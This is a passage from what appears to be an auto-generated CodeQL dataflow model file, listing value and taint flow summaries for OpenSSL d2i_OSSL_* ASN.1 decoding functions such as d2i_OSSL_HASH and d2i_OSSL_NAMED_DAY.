["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", 